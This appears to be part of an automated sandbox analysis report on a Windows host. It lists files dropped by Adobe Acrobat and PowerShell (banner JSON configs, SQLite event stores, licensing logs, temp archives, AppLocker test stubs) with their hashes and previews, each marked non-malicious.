Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2537487514545305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJf+dPeUkwRe9:YvXKXTBr4O2UTbdqlG28Ukee9
MD5:	3A75A0B87EFCF6BCA083AB4A54967149
SHA1:	023460BAD7ACD6355BCE953D2967FF170CDCF953
SHA-256:	C410656026C8E137E07896E157D33DA52AD980AF2B47E3AC7D86EB99108D34C5
SHA-512:	C0380881E5563FB3A2DAA0FE795F596AF3535F9956D424193570AB8FE9F47AF8DB7FA5B1CAF20826B6FEB222F82EF5FE09D8EBB845D748737DDF3D5651AFFC9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.250946079983279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfbPtdPeUkwRe9:YvXKXTBr4O2UTbdqlGDV8Ukee9
MD5:	31E132461FC417C424F5E0DE8D9C642B
SHA1:	126C0A4FDAFFA0F4269E803FB3B5A3E12CA8F2E3
SHA-256:	E3211AAC5099027778319C585C5E3C535C8B41CB0DA4C154E4D18C3589AA099D
SHA-512:	39F4D0B45B7D738BFD4B1AED138154DEABE058BD73EF4787F03E8CF3496FAD8A3F44DAF3CE0E1E29A2F76F93FC8318E34FE135FDA146E9473139872BAA60DE53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.253873030712316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJf21rPeUkwRe9:YvXKXTBr4O2UTbdqlG+16Ukee9
MD5:	840C1DF6943CF3F52CDD5B15D7511276
SHA1:	228539D527D93A5499C3D493B96DAE35D0FAA6B2
SHA-256:	CBF5971AB443065851C99FB99C8B01E0A3551054FD105C5371E92379DF1CB748
SHA-512:	C5EF7979CD88413C1483777F10929705C7C5F405746BEF5EB255C91D1F9CFE00F4BB6ED5DC804C25B5ED5281DA21D4DAD1E59D4DDC0345184FD6054FA7251BC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659556534624942
Encrypted:	false
SSDEEP:	24:Yv6XTZ4UXA2amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO:YvyZ4wA4BgkDMUJUAh8cvMO
MD5:	704CFE4582590CFA0F5655830DC962BB
SHA1:	7B4AC69D3C1AADC7DC1A545180C2974CE52F46FC
SHA-256:	2A48F23820AE01C12A7178E89F053B4B49179B5306649878937D62FF0E3B5385
SHA-512:	3803D7DC22338046CAEEEC61A622E0448701938892D7CE9AFBF016FB271D008AF488BD1F517B8C5B3B5B7BC1D16F72B899AD8E626F1FEF75DD7DD3511FC3CC0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.230192686959636
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJfshHHrPeUkwRe9:YvXKXTBr4O2UTbdqlGUUUkee9
MD5:	4C4227EE8F4842DB130A8B434A5CBC45
SHA1:	4E9B5D6655EB73B991B133229FED6B2E53F96AC7
SHA-256:	777C1EDC58BFF5D0B9E3624EF6321307E98174240C2F718A996572F65EBDEA1E
SHA-512:	21BAABB234FBB739C59EC2CEE03722B93D2DFEC48BDB3EF9182FB9CEF77282120BD432A37D6939B8846A96EAAC77A49F44611F245D89D250399E1D90F9D678A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.242044639197367
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTxSwr4O2UXjb24kF0YXlJKoAvJTqgFCrPeUkwRe9:YvXKXTBr4O2UTbdqlGTq16Ukee9
MD5:	23CAA957ACC7852B630E13748CA3DA0C
SHA1:	59AD1C0528DCBCAF0EBEBA2166804545F485F96D
SHA-256:	719D9B1D2E34B1CD7B4FBA7AAED61611C01CA2E553A8B4DBC8D0CAB36FA9D325
SHA-512:	E9DCA02C8EF2FF27CDE5A1CB72D4F0EE06592EA737FA059732967CE4695EDC63ED86882A57CF607A43F92CDB29BF6B47733EFB0FF23A213B70BAB5F02EB5EF9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5f4255b-eeab-47c7-9e53-808d86eed404","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736747403320,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135801801659511
Encrypted:	false
SSDEEP:	24:YIlaxHayRTIkNBiCnn2A8lmcufjip9cj0SpWV3F2ve2LSrCPRxk25tkRa5Db93sU:YfVB+aouoPAelYnk25tRFb93T
MD5:	2FE6F7071FA3D9E7E28BFE1C11F57394
SHA1:	399CED1B2B1D6CF9C1158BFD4178F5C6F3A158AA
SHA-256:	1D035549EA68C9E96708F194AA9864785BA90714482A8013503AD5504D557DAB
SHA-512:	1EBB3506511401733A872EDBFFBBDEDCCD62453AB5AB325DB94F61EA5A2416932EEE2FC0CE0EE7A507627D550DF1733745D94840BE7CEE6C0D3A0D4704A75291
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5bc3957a1156e8e4b41c9af0af818cef","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571857000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3e2e5f355f9b2e144055223f7e016d02","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571857000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"86142c4657be46c351bd2ecf170f4106","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571857000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ff1d687b05cd71e69ee3fc8a013f42a7","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571857000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d1b695bde7af3c25daa05a4e9c95ccab","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736571857000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"655db5a8052e710cbe894f63ab563b00","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.318861482220297
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YvA+EXSqXl/:TGufl2GL7msUKB0M0+Tb608YtrM
MD5:	F2F27BB2AA546028C1938989825DFF7C
SHA1:	122EBCB938BB14DD2B5577576B9F2413245D2E40
SHA-256:	D99067058BFDBDC5BB57ECB6FDA59C239AC54D5EBDC89E3BE1CC7B6FBF494AA6
SHA-512:	0E75712C63F79F8BBFEA141AB768483FEFCBD2951C9770EC22F0A5EFD4E5F2F568FF81A13DB7CFC73856EF1AB73FB5248332D3F6545E9E3211682FDF8CF405F3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7818095690345885
Encrypted:	false
SSDEEP:	24:7+tql3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YvA/EXSqXlyGKaiBqLhx/XYKQvR:7MwKB0M0+Tb608YgrGKVqFl2GL7msq
MD5:	E9EAE9FFC349F4D11D9972784AD2DCA0
SHA1:	4ED9D6A320ECA32E17E2787A3649CE53427C1BE4
SHA-256:	49ED3AAD77E096E01C0B5CFDD5C467548DD1E0EFF94EE386105C0BE59AF37A07
SHA-512:	9F60B7308F694B9135A3061176CEC7CB32D0E6D0D3C67F7C1C9924D6AF5E44D9CF7B9E8B807C678CD5B0C4D35671E2D36F32786B8326073D65E6B437B686761E
Malicious:	false
Preview:	.... .c......O...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgFEZNhaG6slVGi9wuPo67OdjdYyu:6a6TZ44ADEFERaG6slVPOdhK
MD5:	62430FEA63490441F49574F3A9911F62
SHA1:	2FB11545308C54E23C0017B7BC9B22CF0A7402DD
SHA-256:	F78DE4959DA87C750F5B4DDAE40C0F4DF10DFE6E3D83B680E8D48C61EC940613
SHA-512:	7DC6C73366A80104FA019EAA646AA4AF18297584BB84448C1F7C7B9DDC5D5D929F3D26F8917F7D890FB28F4939CCE052A077576DCAFD34F629F13C8364C41760
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIbf94.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClCYle:Qw946cPbiOxDlbYnuRKdUw
MD5:	1E8D70D2181458684AEE0C9EFE58A6B3
SHA1:	8A91BA52E987C2C568154B6947263D269BC14350
SHA-256:	641FC873B9481EE52B20D912FDB4ABD16C682F8EF69265CE678DD6FFA68E78FB
SHA-512:	3F6877B6C2B267138A16707216C7DECA03143B47E4EA52492D218C861AFFFEF6FA3DD0E378EE5ADCD1CB456156548BCAD1674F02379EA9D71C09133B9189ADC5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.4.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4dlxj0j.5ti.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wxmqz5ef.pdi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-04-10-366.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.329378173778053
Encrypted:	false
SSDEEP:	384:lcoBw3OCmCZRgdVWVhoVCF8yM5MkjwS0DTJOd9pPnXt45VQuP/KC5XlM/MV0jN3m:quUToM
MD5:	307FA5C82A8ECB75A72DB8A2449C87B3
SHA1:	4B774187E1821D77292B123171D1DCC28331A858
SHA-256:	C2347B8B750F74AAFE494B59427125B6C8FEF2BBED1080E848126129C5003516
SHA-512:	F54785162E8523E3BE432A199CDBDDB814C8F2532DBB62C8A4D6A0340A91FB179CF78565564BAB23D585FB7E667786E757971C11D21305018BAE657412983B1D
Malicious:	false
Preview:	SessionID=09835a5c-d7e5-4eb8-978f-a0c0e89634ee.1736571850396 Timestamp=2025-01-11T00:04:10:396-0500 ThreadID=8676 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=09835a5c-d7e5-4eb8-978f-a0c0e89634ee.1736571850396 Timestamp=2025-01-11T00:04:10:397-0500 ThreadID=8676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=09835a5c-d7e5-4eb8-978f-a0c0e89634ee.1736571850396 Timestamp=2025-01-11T00:04:10:397-0500 ThreadID=8676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=09835a5c-d7e5-4eb8-978f-a0c0e89634ee.1736571850396 Timestamp=2025-01-11T00:04:10:397-0500 ThreadID=8676 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=09835a5c-d7e5-4eb8-978f-a0c0e89634ee.1736571850396 Timestamp=2025-01-11T00:04:10:397-0500 ThreadID=8676 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396316843746432
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmp:EGvIcNYd7nG
MD5:	8BEB80424EB93E966208154EB21F3CCE
SHA1:	480E5B0D206D0C93D1F1441303F7E0E00F977402
SHA-256:	7DE3E3176DF993818DE179D76CA88263322732C644F8CA990A379E200C26BDFA
SHA-512:	34849C411186199311F2775E8445E73F4EC74A745E36F36D52F4C3734489DE246B67EA95CBFF938197329934A88512AFA07A88492AC69E77CCF7463962B07F42
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\34720ff8-d491-4ec8-b33d-57926dcb4df4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\710e9734-5e82-4df2-b33b-91ca9e8ae65f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
